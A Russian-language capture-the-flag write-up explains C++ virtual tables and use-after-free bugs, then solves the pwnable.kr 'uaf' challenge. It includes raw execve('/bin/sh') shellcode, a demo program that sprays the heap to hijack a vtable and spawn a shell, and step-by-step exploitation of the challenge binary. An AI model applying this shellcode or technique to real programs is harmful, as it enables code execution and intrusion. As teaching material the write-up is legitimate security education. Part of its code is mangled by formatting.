Хабрахабр

Решение задания с pwnable.kr 16 — uaf. Уязвимость использование после освобождения (use after free)

image

В данной статье рассмотрим, что такое UAF, а также решим 16-е задание с сайта pwnable.kr.

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях.

Наследование и виртуальные методы

Виртуальная функция — в объектно-ориентированном программировании функция класса, которая может быть переопределена в классах-наследниках. Таким образом, программисту необязательно знать точный тип объекта для работы с ним через виртуальные методы: достаточно лишь знать, что объект принадлежит классу или наследнику класса, в котором объявлен метод.

Так у класса Animal может быть два дочерних класса Cat и Dog. Проще говоря, представим что у нас определен базовый класс Animal у которого есть виртуальная функция sрeak. Но если в памяти будет храниться одинаковая структура, как программа понимает, какой из sрeak`ов нужно вызывать? При том виртуальная функция Cat:sрeak() будет выыводить myau, а Dog:sрeak — gav.

Всю работу обеспечивает таблица виртуальных методов (TVM), или как её определяют — vtable.

Давайте проверим.
У каждого класса своя TVM и компилятор добавляет ее вирутальный табличный указатель (vptr — указатель на vtable), как первую локальную переменную данного объекта.

#include <stdio.h> class ANIMAL virtual void func2(){ printf("Class Animal - func2\n"); }
}; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); return 0;
}

Компилируем и запустим, чтобы посмотреть вывод.

g++ ex.c -o ex.bin

image

Перейдем в окно HEX-View и синхронизируем его с регистром RAX. Теперь запустим под отладчиком в IDA и остановимся перед вызовом первой функции.

image

Перед обеими переменными присутствуют адреса, как мы и сказали, это указатели на VMT (0x559f9898fd90 и 0x559f9898fd70). В выделенном фрагменте видим значение переменныx var1 при определении переменных типа ANIMALS и CAT.

Давайте разберемся, что происходит при вызове func1:

  1. Сначала в RAX у нас окажется адрес на объекта по указателю рtr.
  2. Далее в RAX читается первое значение объекта — указатель на VMT ( на ее первый элемент).
  3. В RAX читается первое значение из VMT — указатель на тот самый виртуальный метод.
  4. В RDX заносится указатель на объект (более привычно this).
  5. Происходит вызов виртуального метода.

image

Таков механизм работы с виртуальными методами. При вызове func2 происходит то же самое, за одним исключением, из VMT считывается не первая запись (RAX), a вторая (RAX + 8).

image

UAF

Данная уязвимость характерна для кучи, так как стек расчитан на хранение данных небольшого объема (локальных переменных). Куча же, являясь динамической памятью, как раз идеально подходит для хранения данных большого объема. При этом выделение и освобождение памяти может происходить во время выполнения программы. Но из-за этого необходимо отслеживать, какая память занята, а какая нет. Для этого нужен служебный заголовок для выделенного блока памяти. Он содержит адрес начала и указатель на первый элемент блока. И при этом куча, в отличии от стека, растет вниз.

Так появляются висячие указатели. Суть уязвимости в том, что после освобождения памяти, программа может ссылаться на эту область. Изменим код программы и проверим это.

int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; ptr->func1(); return 0;
}

image

По аналогии с прошлым примером, останавливаюсь перед вызовом функции и синхранизируем Hex-View с RAX. Давайте найдем, где падает программа. Но при выполнении следующей инструкции в регистре RAX остается 0. Мы видим, по которому должен располагаться наш объект. И уже пытаясь разыменовать 0, программа падает.

image

image

Это возможно благодаря тому, что куча при запросе выделяет блок памяти, который был освобожден ранее и таким образом мы можем эмулировать VMT, которая будет указывать на шеллкод. Таким образом, для экспулуатации UAF необходимо передать программе шеллкод, а потом через висячий указатель (в VMT) перейти на его начало. Но мы не можем гарантировать, что память для только выделенного объекта совпадет с только что очищенной зоной, потому создадим несколько таких объектов в цикле. Говоря другими словами, там где раньше находился адрес функции VMT, теперь будет расположен адрес шеллкода.

Для начала возьмем шеллкод, к примеру отсюда .
Давайте рассмотрим на примере.

"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

И дополним наш код:

#include <stdio.h>
#include <string.h>
class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); }
}; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; class EX_SHELL{ private: char n[8]; public: EX_SHELL(void* addr_in_VMT){ memcpy(n, &addr_in_VMT, sizeof(void*)); }
}; char shellcode[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; void* vmt[1]; vmt[0] = (void*) shellcode; for(int i=0; i<0x10000; i++) new EX_SHELL(vmt); ptr->func1(); return 0;
}

После компилирования и запуска получаем полноценный shell.

image

Решение задания uaf

Нажимаем на иконку с подписью uaf, и нам говорят, что нужно подключиться по SSH с паролем guest.

image

При подключении мы видим соответствующий баннер.

image

Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.

image

Посмотрим исходный код

#include <fcntl.h>
#include <iostream> #include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std; class Human{
private: virtual void give_shell(){ system("/bin/sh"); }
protected: int age; string name;
public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; }
}; class Woman: public Human{
public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; }
}; int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use\n2. after\n3. free\n"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0;
}

В самом начале программы у нас содаются два объекта классов, унаследованных от класса Human. Который имеет функцию, дающую нам шелл.

image

Далее нам предлагают ввести одно из трех действия:

  1. вывести информацию объекта;
  2. записать в кучу данные, принятые в качестве параметра программы;
  3. удалить созданный объект.

image

Так как в данной задаче рассматривается UAF уязвимость, то план должен быть следующий: создание — удаление — запись в кучу — получение информации.

Но перед записью нам нужно знать как выглядит VMT для данных объектов и адрес функции, дающей нам шелл. Единственный этап, который мы полностью контролируем — это запись в кучу. На примере мы поняли, как устроена VMT, указатели на адреса хранятся друг за другом, т.е.
func2 = *func1+sizeof(*func1), func3 = *func1+2*sizeof(*func2) и т.д.

С учетом 64-разрядной системы: *introduce = *give_shell + 8. Так как первой функцией в VMT будет являться give_shell(), а при вызове функции Man::introduce() вторым адресом VMT и будет являться адрес introduce. Найдем этому подтверждение:

image

Строка main+272 доказывает наше предположение, так как адрес относительно базы увеличивается на 8.

Поставим точку останова и посмотрим содержимое EAX, чтобы определить адрес базы.

image

image

image

Таким образом вместо шелла, нам нужно записать в кучу адрес give_shell(), уменьшенный на 8, чтобы он был принят за базу VMT, при увеличении на 8, программа давалабы нам шелл. Мы нашли адрес базы: 0x0000000000401570.

image

Осталось малость, чтобы перезаписать данные, нужно выделить блок памяти, размером с освобожденный блок. Программа в качестве параметра количество байт, которое она считает из файла, и название файла. Найдем размер блока, который занимает один объект.

image

То есть нам необходимо составить файл, состоящий из 24 байт. Таким образом, перед созданием объекта резервируется 0х18=24 байта.

image

Так как программа освобождает два объекта, то и записать данные нам придется два раза.

image

Получаем шелл, читаем флаг, получаем 8 очков.

image

В следующий раз разберемся с выравниваем памяти. Вы можете присоединиться к нам в Telegram.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть